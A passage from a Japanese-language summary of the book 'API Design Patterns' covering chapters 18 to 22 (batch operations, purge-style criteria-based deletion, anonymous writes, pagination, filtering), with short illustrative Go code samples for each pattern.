適切に設計されたバッチ操作は、システムの復元力を向上させる可能性があります。例えば、一時的な障害が発生した場合、バッチ全体をリトライすることで回復が容易になります。モニタリングと可観測性: バッチ操作は、システムの挙動を監視し理解することをより複雑にする可能性があります。個々の操作の詳細が見えにくくなるため、適切なロギングと監視戦略が重要になります。これらの影響とトレードオフを考慮しながら、バッチ操作の導入を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: バッチ操作は、マイクロサービス間のデータ一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるリソースの更新を、単一のトランザクションとして扱うことができます。イベント駆動アーキテクチャとの連携: バッチ操作の結果をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。キャッシュ戦略: バッチ操作は、キャッシュの一貫性維持を複雑にする可能性があります。適切なキャッシュ無効化戦略が必要になります。レート制限とクォータ管理: バッチ操作は、リソース使用量を急激に増加させる可能性があるため、適切なレート制限とクォータ管理が重要になります。非同期処理との統合: 長時間実行されるバッチ操作の場合、非同期処理パターン(例:ポーリング、Webhookなど)と統合することで、クライアントの応答性を向上させることができます。結論第18章「Batch operations」は、APIにおけるバッチ操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。バッチ操作は、複数のリソースに対する操作を効率的に行うための強力なツールです。原子性の保証は、システムの一貫性を維持し、エラーハンドリングを簡素化する上で重要です。バッチ操作の設計には、結果の順序保持、共通フィールドの最適化、複数親リソースのサポートなど、いくつかの重要な原則があります。バッチ操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与えます。バッチ操作の適切な実装には、トランザクション管理、エラーハンドリング、モニタリングなど、複数の側面を考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。しかし、バッチ操作の導入には慎重な検討が必要です。全ての操作をバッチ化することが適切とは限らず、システムの要件や制約に基づいて適切なバランスを取る必要があります。また、バッチ操作の導入に伴う複雑さの増加を管理するために、適切なモニタリング、ロギング、そしてエラーハンドリング戦略を確立することが重要です。最後に、バッチ操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。バッチ操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。特に、大規模なデータ処理や複雑なビジネスロジックを持つシステムにおいて、バッチ操作は極めて重要な役割を果たします。適切に設計されたバッチ操作は、システムの性能を大幅に向上させ、運用コストを削減し、ユーザー体験を向上させる強力なツールとなります。19 Criteria-based deletion「API Design Patterns」の第19章「Criteria-based deletion」は、APIにおける条件に基づく削除操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は条件に基づく削除操作(purge操作)が単なる利便性の向上だけでなく、APIの柔軟性、効率性、そして全体的なシステムの安全性にどのように影響を与えるかを明確に示しています。条件に基づく削除の必要性と概要著者は、バッチ削除操作の限界から議論を始めています。バッチ削除では、削除対象のリソースのIDを事前に知っている必要がありますが、実際の運用では特定の条件に合致するすべてのリソースを削除したい場合が多々あります。例えば、アーカイブされたすべてのチャットルームを削除するような操作です。この問題に対処するため、著者は「purge」と呼ばれる新しいカスタムメソッドを提案しています。purgeメソッドは、フィルタ条件を受け取り、その条件に合致するすべてのリソースを一度に削除します。これにより、複数のAPI呼び出し(リソースの一覧取得と削除の組み合わせ)を1回のAPI呼び出しに置き換えることができ、効率性と一貫性が向上します。しかし、著者はこの操作の危険性も明確に指摘しています。purge操作は、ユーザーが意図せずに大量のデータを削除してしまう可能性があるため、慎重に設計し、適切な安全機構を組み込む必要があります。purge操作の設計と実装著者は、purge操作の安全な実装のために以下の重要な要素を提案しています。forceフラグ: デフォルトでは削除を実行せず、プレビューモードとして動作します。実際に削除を行うには、明示的にforceフラグをtrueに設定する必要があります。purgeCount: 削除対象となるリソースの数を返します。プレビューモードでは概算値を返すこともあります。purgeSample: 削除対象となるリソースのサンプルセットを返します。これにより、ユーザーは削除対象が意図したものであるかを確認できます。これらの要素を組み合わせることで、APIは柔軟かつ安全な条件付き削除機能を提供することができます。著者は、purge操作の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルタリング: purge操作のフィルタは、標準的なリスト操作のフィルタと同じように動作すべきです。これにより、APIの一貫性が保たれます。デフォルトの動作: 安全性を確保するため、デフォルトではプレビューモードとして動作し、実際の削除は行いません。結果の一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性は保証できません。この制限をユーザーに明確に伝える必要があります。これらの原則を適用した、Golangでのpurge操作の実装例を以下に示します。type PurgeRequest struct { Parent string `json:\"parent\"` Filter string `json:\"filter\"` Force bool `json:\"force\"`}type PurgeResponse struct { PurgeCount int `json:\"purgeCount\"` PurgeSample []string `json:\"purgeSample,omitempty\"`}func (s *Service) PurgeMessages(ctx context.Context, req *PurgeRequest) (*PurgeResponse, error) { // フィルタの検証 if req.Filter == \"\" { return nil, errors.New(\"filter is required\") } // マッチするリソースの取得 matchingResources, err := s.getMatchingResources(ctx, req.Parent, req.Filter) if err != nil { return nil, err } response := &PurgeResponse{ PurgeCount: len(matchingResources), PurgeSample: getSample(matchingResources, 100), } // 実際の削除操作 if req.Force { if err := s.deleteResources(ctx, matchingResources); err != nil { return nil, err } } return response, nil}この実装例では、forceフラグがfalseの場合はプレビューのみを行い、trueの場合に実際の削除を実行します。また、削除対象のサンプルを返すことで、ユーザーが意図した操作であるかを確認できるようにしています。purge操作の影響とトレードオフ著者は、purge操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスと効率性: purge操作は、複数のAPI呼び出しを1回の呼び出しに置き換えることで、全体的な効率を向上させます。しかし、大量のデータを一度に処理する必要があるため、サーバーリソースに大きな負荷をかける可能性があります。安全性とユーザビリティのバランス: デフォルトでプレビューモードとして動作することで安全性を確保していますが、これは同時にユーザーが2回のAPI呼び出しを行う必要があることを意味します。このトレードオフを適切に管理する必要があります。データの一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性を保証することは困難です。この制限をユーザーに明確に伝え、適切に管理する必要があります。エラー処理の複雑さ: 大量のリソースを一度に削除する際、一部のリソースの削除に失敗した場合の処理が複雑になる可能性があります。部分的な成功をどのように扱うかを慎重に設計する必要があります。監視と可観測性: purge操作は、システムの状態を大きく変更する可能性があるため、適切な監視と監査メカニズムが不可欠です。どのような条件で、どれだけのリソースが削除されたかを追跡できるようにする必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: purge操作は、複数のマイクロサービスにまたがるデータの一貫性を維持する上で重要な役割を果たす可能性があります。例えば、ユーザーデータの削除(GDPR対応など)や、大規模なデータクリーンアップ操作に利用できます。イベント駆動アーキテクチャとの連携: purge操作の結果をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。バックグラウンドジョブとしての実装: 大規模なpurge操作は、非同期のバックグラウンドジョブとして実装することを検討すべきです。これにより、クライアントのタイムアウトを回避し、システムの応答性を維持することができます。段階的な削除戦略: 大量のデータを一度に削除するのではなく、段階的に削除を行う戦略を検討すべきです。これにより、システムへの影響を最小限に抑えつつ、大規模な削除操作を安全に実行することができます。監査とコンプライアンス: purge操作は、監査とコンプライアンスの観点から重要です。どのデータがいつ、誰によって、どのような条件で削除されたかを追跡できるようにする必要があります。結論第19章「Criteria-based deletion」は、条件に基づく削除操作(purge操作)の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性と効率性を向上させる一方で、システムの安全性と整合性を維持することを目指しています。特に重要な点は以下の通りです。purge操作は、条件に基づいて複数のリソースを一度に削除する強力なツールですが、慎重に設計し、適切な安全機構を組み込む必要があります。デフォルトでプレビューモードとして動作し、実際の削除には明示的な承認(forceフラグ)を要求することで、意図しない大規模削除を防ぐことができます。削除対象のリソース数とサンプルを提供することで、ユーザーが操作の影響を事前に評価できるようにすることが重要です。データの一貫性の保証が難しいため、この制限をユーザーに明確に伝える必要があります。purge操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与える可能性があるため、慎重に検討する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、かつ安全なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なデータ管理戦略の一部として直接的に適用可能です。しかし、purge操作の導入には慎重な検討が必要です。その強力な機能ゆえに、システムの安全性とデータの整合性に大きなリスクをもたらす可能性があります。したがって、purge操作は本当に必要な場合にのみ導入し、適切な制限と監視メカニズムを併せて実装することが重要です。最後に、purge操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体のデータ管理戦略、セキュリティポリシー、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。purge操作の適切な実装は、システムのデータ管理能力を大幅に向上させ、運用効率を高める可能性があります。しかし、同時にそれは大きな責任を伴います。API設計者とシステム設計者は、これらの操作の影響を深く理解し、適切なサフェガードを実装することで、より堅牢で効率的、かつ安全なシステムを構築することができるでしょう。特に、大規模なデータ管理や複雑なビジネスロジックを持つシステムにおいて、purge操作は極めて重要な役割を果たす可能性がありますが、その導入には慎重な検討と綿密な計画が不可欠です。20 Anonymous writes「API Design Patterns」の第20章「Anonymous writes」は、APIにおける匿名データの書き込みの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は従来のリソース指向のAPIデザインでは対応が難しい匿名データの取り扱いについて、新しいアプローチを提案し、それがシステム全体のアーキテクチャと運用にどのように影響を与えるかを明確に示しています。匿名データの必要性と概要著者は、これまでのAPIデザインパターンでは全てのデータをリソースとして扱ってきたことを指摘し、この approach が全てのシナリオに適しているわけではないという問題提起から議論を始めています。特に、時系列データやログエントリのような、個別に識別や操作する必要のないデータの取り扱いについて、新しいアプローチの必要性を強調しています。この問題は、特に大規模なデータ分析システムやクラウドネイティブな環境において顕著です。例えば、IoTデバイスから大量のセンサーデータを収集する場合や、マイクロサービス間のイベントログを記録する場合など、個々のデータポイントよりも集計結果や傾向分析が重要となるシナリオが多々あります。著者は、このような匿名データを扱うための新しいカスタムメソッド「write」を提案しています。このメソッドの主な特徴は以下の通りです。データは一意の識別子を持たず、個別にアドレス指定できない。書き込まれたデータは、主に集計や分析の目的で使用される。個々のデータエントリの取得、更新、削除は想定されていない。この概念は、現代のビッグデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高く、特にクラウドネイティブな環境での応用が期待されます。write メソッドの実装著者は、write メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。戻り値: write メソッドは void を返すべきです。これは、個々のデータエントリが識別可能でないため、新しく作成されたリソースを返す必要がないためです。ペイロード: データは entry フィールドを通じて送信されます。これは標準の create メソッドの resource フィールドに相当します。URL構造: コレクションをターゲットとするべきです。例えば、/chatRooms/1/statEntries:write のような形式です。一貫性: write メソッドは即座に応答を返すべきですが、データが即座に読み取り可能である必要はありません。これは、大規模なデータ処理パイプラインの特性を反映しています。これらの原則を適用した、Golangでのwrite メソッドの実装例を以下に示します。type ChatRoomStatEntry struct { Name string `json:\"name\"` Value interface{} `json:\"value\"`}type WriteChatRoomStatEntryRequest struct { Parent string `json:\"parent\"` Entry ChatRoomStatEntry `json:\"entry\"`}func (s *Service) WriteChatRoomStatEntry(ctx context.Context, req *WriteChatRoomStatEntryRequest) error { // データの検証 if err := validateEntry(req.Entry); err != nil { return err } // データ処理パイプラインへの送信 if err := s.dataPipeline.Send(ctx, req.Parent, req.Entry); err != nil { return err } // 即座に成功を返す return nil}この実装例では、データの検証を行った後、非同期のデータ処理パイプラインにデータを送信しています。メソッドは即座に応答を返し、クライアントはデータが処理されるのを待つ必要がありません。一貫性と運用上の考慮事項著者は、write メソッドの一貫性モデルについて重要な指摘をしています。従来のリソース指向のAPIでは、データの書き込み後即座にそのデータが読み取り可能であることが期待されますが、write メソッドではこの即時一貫性は保証されません。これは、大規模なデータ処理システムの現実的な運用を反映しています。例えば、時系列データベースやビッグデータ処理システムでは、データの取り込みと処理に時間差があるのが一般的です。著者は、この非同期性を明示的に設計に組み込むことで、より効率的で拡張性の高いシステムが構築できると主張しています。運用の観点から見ると、この設計には以下のような利点があります。スケーラビリティの向上: データの取り込みと処理を分離することで、それぞれを独立してスケールさせることができます。システムの回復力: データ処理パイプラインに一時的な問題が発生しても、データの取り込み自体は継続できます。バッファリングと負荷平準化: 取り込んだデータをバッファリングすることで、下流のシステムへの負荷を平準化できます。運用の柔軟性: データ処理ロジックを変更する際に、APIインターフェースを変更せずに済みます。著者は、クライアントにデータの処理状況を伝えるために、HTTP 202 Accepted ステータスコードの使用を推奨しています。これは、データが受け入れられたが、まだ完全に処理されていないことを示す適切な方法です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。イベント駆動アーキテクチャとの親和性: write メソッドは、イベントソーシングやCQRSパターンと非常に相性が良いです。例えば、マイクロサービス間の非同期通信や、イベントストリームの生成に活用できます。観測可能性の向上: 匿名データの書き込みを明示的に設計に組み込むことで、システムの振る舞いをより詳細に観測できるようになります。例えば、各サービスの内部状態の変化を時系列データとして記録し、後で分析することが容易になります。コンプライアンスと監査: 匿名データの書き込みを標準化することで、システム全体の動作ログを一貫した方法で収集できます。これは、コンプライアンス要件の遵守や、システムの監査に役立ちます。パフォーマンスチューニング: 集計データの収集を最適化することで、システム全体のパフォーマンスプロファイルを詳細に把握し、ボトルネックの特定や最適化が容易になります。A/Bテストとフィーチャーフラグ: 匿名データを活用することで、新機能の段階的なロールアウトや、A/Bテストの結果収集を効率的に行うことができます。結論第20章「Anonymous writes」は、APIにおける匿名データの取り扱いの重要性と、その適切な実装方法を明確に示しています。著者の提案するwrite メソッドは、従来のリソース指向のAPIデザインを補完し、より柔軟で拡張性の高いシステム設計を可能にします。特に重要な点は以下の通りです。全てのデータをリソースとして扱う必要はなく、匿名データの概念を導入することで、より効率的なデータ処理が可能になります。write メソッドは、即時一貫性を犠牲にする代わりに、高いスケーラビリティと柔軟性を提供します。匿名データの取り扱いは、大規模なデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高いです。システムの観測可能性、コンプライアンス、パフォーマンスチューニングなど、運用面でも多くの利点があります。write メソッドの導入には、システム全体のアーキテクチャと処理パイプラインの設計を考慮する必要があります。これらの原則を適切に適用することで、開発者はより柔軟で拡張性の高いAPIを設計することができます。特に、大規模なデータ処理や複雑なイベント駆動システムを扱う場合、この設計パターンは非常に有用です。しかし、write メソッドの導入には慎重な検討も必要です。即時一貫性が重要なユースケースでは、従来のリソース指向のアプローチが適している場合もあります。また、匿名データの取り扱いは、データの追跡やデバッグを複雑にする可能性があるため、適切なモニタリングとログ記録の戦略が不可欠です。最後に、匿名データの取り扱いはシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。write メソッドの導入は、単にAPIの機能を拡張するだけでなく、システム全体のデータフロー、処理パイプライン、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で複雑なシステムの設計において非常に重要です。匿名データの適切な取り扱いは、システムの拡張性、柔軟性、そして運用効率を大きく向上させる可能性があります。API設計者とシステム設計者は、これらの概念を深く理解し、適切に応用することで、より堅牢で効率的なシステムを構築することができるでしょう。21 Pagination「API Design Patterns」の第21章「Pagination」は、APIにおけるページネーションの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はページネーションが単なる機能の追加ではなく、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティにどのように影響を与えるかを明確に示しています。ページネーションの必要性と概要著者は、大規模なデータセットを扱う際のページネーションの必要性から議論を始めています。特に、1億件のデータを一度に返そうとすることの問題点を指摘し、ページネーションがこの問題にどのように対処するかを説明しています。ページネーションは、大量のデータを管理可能な「チャンク」に分割し、クライアントが必要に応じてデータを取得できるようにする方法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。ページネーションは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、ページネーションの基本的な構造として以下の要素を提案しています。pageToken: 次のページを取得するためのトークンmaxPageSize: クライアントが要求する最大ページサイズnextPageToken: サーバーが返す次のページのトークンこれらの要素を組み合わせることで、APIは大規模なデータセットを効率的に管理し、クライアントに段階的に提供することができます。ページネーションの実装著者は、ページネーションの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。最大ページサイズ vs 正確なページサイズ: 著者は、正確なページサイズではなく最大ページサイズを使用することを推奨しています。これにより、サーバーは要求されたサイズよりも小さいページを返すことができ、パフォーマンスと効率性が向上します。ページトークンの不透明性: ページトークンは、クライアントにとって意味を持たない不透明な文字列であるべきです。これにより、サーバー側で実装の詳細を変更する柔軟性が確保されます。一貫性の確保: ページネーション中にデータが変更される可能性があるため、完全な一貫性を保証することは難しい場合があります。著者は、この制限を明確に文書化することを推奨しています。ページトークンの有効期限: ページトークンに有効期限を設定することで、リソースの効率的な管理が可能になります。これらの原則を適用した、Golangでのページネーションの実装例を以下に示します。type ListResourcesRequest struct { PageToken string `json:\"pageToken\"` MaxPageSize int `json:\"maxPageSize\"`}type ListResourcesResponse struct { Resources []*Resource `json:\"resources\"` NextPageToken string `json:\"nextPageToken\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { // ページトークンのデコードと検証 offset, err := decodePageToken(req.PageToken) if err != nil { return nil, err } // リソースの取得 limit := min(req.MaxPageSize, 100) // 最大100件に制限 resources, err := s.repository.GetResources(ctx, offset, limit+1) if err != nil { return nil, err } // 次のページトークンの生成 var nextPageToken string if len(resources) > limit { nextPageToken = encodePageToken(offset + limit) resources = resources[:limit] } return &ListResourcesResponse{ Resources: resources, NextPageToken: nextPageToken, }, nil}この実装例では、ページトークンを使用してオフセットを管理し、最大ページサイズを制限しています。また、次のページがあるかどうかを判断するために、要求された制限よりも1つ多くのリソースを取得しています。ページネーションの影響とトレードオフ著者は、ページネーションの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: ページネーションは、大規模なデータセットを扱う際のパフォーマンスを大幅に向上させます。しかし、適切に実装されていない場合(例:オフセットベースのページネーション)、データベースへの負荷が増大する可能性があります。一貫性と可用性のバランス: 完全な一貫性を保証しようとすると、システムの可用性が低下する可能性があります。著者は、このトレードオフを明確に理解し、適切なバランスを取ることの重要性を強調しています。クライアント側の複雑性: ページネーションは、クライアント側の実装を複雑にする可能性があります。特に、全データを取得する必要がある場合、クライアントは複数のリクエストを管理する必要があります。キャッシュ戦略: ページネーションは、キャッシュ戦略に影響を与えます。各ページを個別にキャッシュする必要があり、データの更新頻度によってはキャッシュの有効性が低下する可能性があります。これらの影響とトレードオフを考慮しながら、ページネーションの実装を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ページネーションは、マイクロサービス間でのデータ転送を最適化する上で重要な役割を果たします。各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化することで、システム全体のパフォーマンスが向上します。イベント駆動アーキテクチャとの連携: ページネーションは、イベントストリームの処理にも応用できます。大量のイベントを処理する際に、ページネーションを使用することで、消費者が管理可能なチャンクでイベントを処理できるようになります。データの一貫性と鮮度: ページネーション中にデータが変更される可能性があるため、データの一貫性と鮮度のバランスを取る必要があります。特に、リアルタイム性が求められるシステムでは、この点に注意が必要です。クエリパフォーマンスの最適化: ページネーションの実装方法によっては、データベースへの負荷が増大する可能性があります。特に、オフセットベースのページネーションは大規模なデータセットで問題が発生する可能性があります。カーソルベースのページネーションなど、より効率的な方法を検討する必要があります。レスポンスタイムの一貫性: ページサイズを固定することで、各リクエストのレスポンスタイムをより一貫したものにすることができます。これは、システムの予測可能性と信頼性を向上させる上で重要です。エラー処理とリトライ戦略: ページネーションを使用する際は、ネットワークエラーやタイムアウトに対する適切なエラー処理とリトライ戦略が重要になります。特に、長時間にわたるデータ取得プロセスでは、この点に注意が必要です。モニタリングと可観測性: ページネーションの使用パターンを監視することで、システムの使用状況やボトルネックを特定することができます。例えば、特定のページサイズやフィルタ条件が頻繁に使用されている場合、それらに対して最適化を行うことができます。ページネーションと全体的なシステムアーキテクチャページネーションの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとインデックス設計: 効率的なページネーションを実現するためには、適切なデータモデルとインデックス設計が不可欠です。特に、大規模なデータセットを扱う場合、この点が重要になります。キャッシュ戦略: ページネーションを使用する場合、各ページを個別にキャッシュする必要があります。これにより、キャッシュ戦略が複雑になる可能性があります。特に、データの更新頻度が高い場合、キャッシュの有効性が低下する可能性があります。負荷分散とスケーリング: ページネーションを使用することで、システムの負荷をより均等に分散させることができます。これにより、システムのスケーラビリティが向上します。バックエンドサービスの設計: ページネーションを効率的に実装するためには、バックエンドサービスの設計を適切に行う必要があります。特に、データベースクエリの最適化や、ページトークンの生成と管理が重要になります。API設計の一貫性: ページネーションの設計は、API全体の設計と一貫性を保つ必要があります。例えば、ページネーションパラメータの命名規則や、レスポンス形式などを統一することが重要です。結論第21章「Pagination」は、APIにおけるページネーションの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティを大きく向上させる可能性があります。特に重要な点は以下の通りです。ページネーションは、大規模なデータセットを扱う際に不可欠な機能です。最大ページサイズを使用し、正確なページサイズを保証しないことで、システムの柔軟性と効率性が向上します。ページトークンは不透明であるべきで、クライアントはその内容を理解したり操作したりする必要はありません。データの一貫性と可用性のバランスを取ることが重要です。完全な一貫性を保証することは難しい場合があり、この制限を明確に文書化する必要があります。ページネーションの設計は、システム全体のアーキテクチャ、パフォーマンス、スケーラビリティに大きな影響を与えます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、ページネーションは極めて重要な役割を果たします。しかし、ページネーションの導入には慎重な検討も必要です。特に、データの一貫性、クライアント側の複雑性、キャッシュ戦略などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ページネーションの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ページネーションの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。22 Filtering「API Design Patterns」の第22章「Filtering」は、APIにおけるフィルタリング機能の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はフィルタリングが単なる便利な機能ではなく、APIの効率性、使いやすさ、そして全体的なシステムのパフォーマンスにどのように影響を与えるかを明確に示しています。フィルタリングの必要性と概要著者は、標準的なリスト操作だけでは特定の条件に合致するリソースのみを取得することが困難であるという問題提起から議論を始めています。大規模なデータセットを扱う現代のシステムにおいて、クライアントが全てのリソースを取得してから必要なデータをフィルタリングするというアプローチは、非効率的であり、システムリソースの無駄遣いにつながります。この問題は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。サーバーサイドでのフィルタリングは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、フィルタリングの基本的な実装として、標準的なリストリクエストにfilterフィールドを追加することを提案しています。このフィールドを通じて、クライアントは必要なデータの条件を指定し、サーバーはその条件に合致するリソースのみを返すことができます。フィルタリングの実装著者は、フィルタリングの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルター表現の構造: 著者は、構造化されたフィルター(例:JSONオブジェクト)ではなく、文字列ベースのフィルター表現を推奨しています。これにより、APIの柔軟性が向上し、将来的な拡張が容易になります。実行時間の考慮: フィルター式の評価は、単一のリソースのコンテキスト内で完結すべきであり、外部データソースへのアクセスや複雑な計算を含むべきではありません。これにより、フィルタリング操作の予測可能性と効率性が確保されます。配列要素のアドレス指定: 著者は、配列内の特定の位置の要素を参照するフィルタリングを避け、代わりに配列内の要素の存在をチェックするアプローチを推奨しています。これにより、データの順序に依存しない柔軟なフィルタリングが可能になります。厳格性: フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致は許容せず、エラーとして扱うべきです。これにより、フィルタリングの信頼性と予測可能性が向上します。カスタム関数: 基本的なフィルタリング機能では不十分な場合に備えて、カスタム関数の導入を提案しています。これにより、複雑なフィルタリング要件にも対応できます。これらの原則を適用した、Golangでのフィルタリング実装の例を以下に示します。type ListResourcesRequest struct { Filter string `json:\"filter\"` MaxPageSize int `json:\"maxPageSize\"` PageToken string `json:\"pageToken\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { filter, err := parseFilter(req.Filter) if err != nil { return nil, fmt.Errorf(\"invalid filter: %w\", err) } resources, err := s.repository.GetResources(ctx) if err != nil { return nil, err } var filteredResources []*Resource for _, resource := range resources { if filter.Evaluate(resource) { filteredResources = append(filteredResources, resource) } } // ページネーションの処理 // ... return &ListResourcesResponse{ Resources: filteredResources, NextPageToken: nextPageToken, }, nil}この実装例では、フィルター文字列をパースし、各リソースに対して評価関数を適用しています。フィルターの解析と評価は厳格に行われ、無効なフィルターや型の不一致はエラーとして扱われます。フィルタリングの影響とトレードオフ著者は、フィルタリング機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: サーバーサイドでのフィルタリングは、ネットワーク帯域幅の使用を最適化し、クライアントの処理負荷を軽減します。しかし、複雑なフィルター式の評価はサーバーリソースを消費する可能性があります。柔軟性と複雑性のバランス: 文字列ベースのフィルター表現は高い柔軟性を提供しますが、解析と評価の複雑さが増加します。これは、エラーハンドリングとセキュリティの観点から慎重に管理する必要があります。一貫性と可用性: フィルタリング結果の一貫性を保証することは、特に分散システムにおいて課題となります。データの更新とフィルタリング操作のタイミングによっては、結果が異なる可能性があります。セキュリティの考慮: フィルター式の評価は、潜在的なセキュリティリスクを伴います。インジェクション攻撃や過度に複雑なクエリによるDoS攻撃の可能性に注意する必要があります。これらのトレードオフを適切に管理することが、フィルタリング機能の成功的な実装の鍵となります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: フィルタリングはマイクロサービス間のデータ交換を最適化する上で重要な役割を果たします。各サービスが必要最小限のデータのみを要求・提供することで、システム全体の効率性が向上します。クエリ最適化: フィルタリング機能は、データベースクエリの最適化と密接に関連しています。効率的なインデックス設計やクエリプランの最適化が、フィルタリングのパフォーマンスに大きな影響を与えます。キャッシュ戦略: フィルタリング結果のキャッシングは、システムのパフォーマンスを大幅に向上させる可能性があります。しかし、キャッシュの有効性とデータの鮮度のバランスを取ることが課題となります。バージョニングと後方互換性: フィルター構文の進化は、APIのバージョニング戦略に影響を与えます。新機能の追加や変更が既存のクライアントに影響を与えないよう、慎重に管理する必要があります。モニタリングと可観測性: フィルタリング操作のパフォーマンスと使用パターンを監視することで、システムの最適化機会を特定できます。例えば、頻繁に使用されるフィルターパターンに対して特別な最適化を行うことが可能になります。フィルタリングとシステムアーキテクチャフィルタリング機能の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: 効率的なフィルタリングを実現するためには、適切なデータモデルとスキーマ設計が不可欠です。フィルタリングが頻繁に行われるフィールドに対しては、適切なインデックスを設定する必要があります。分散システムにおけるフィルタリング: マイクロサービスアーキテクチャにおいて、フィルタリングはしばしば複数のサービスにまたがって行われる必要があります。このような場合、フィルタリングロジックの配置と実行方法を慎重に設計する必要があります。リアルタイムシステムとの統合: ストリーミングデータや実時間性の高いシステムにおいて、フィルタリングはより複雑になります。データの到着と処理のタイミングを考慮したフィルタリング戦略が必要となります。セキュリティアーキテクチャ: フィルタリング機能は、データアクセス制御と密接に関連しています。ユーザーの権限に基づいて、フィルタリング可能なデータの範囲を制限する必要があります。エラー処理とレジリエンス: 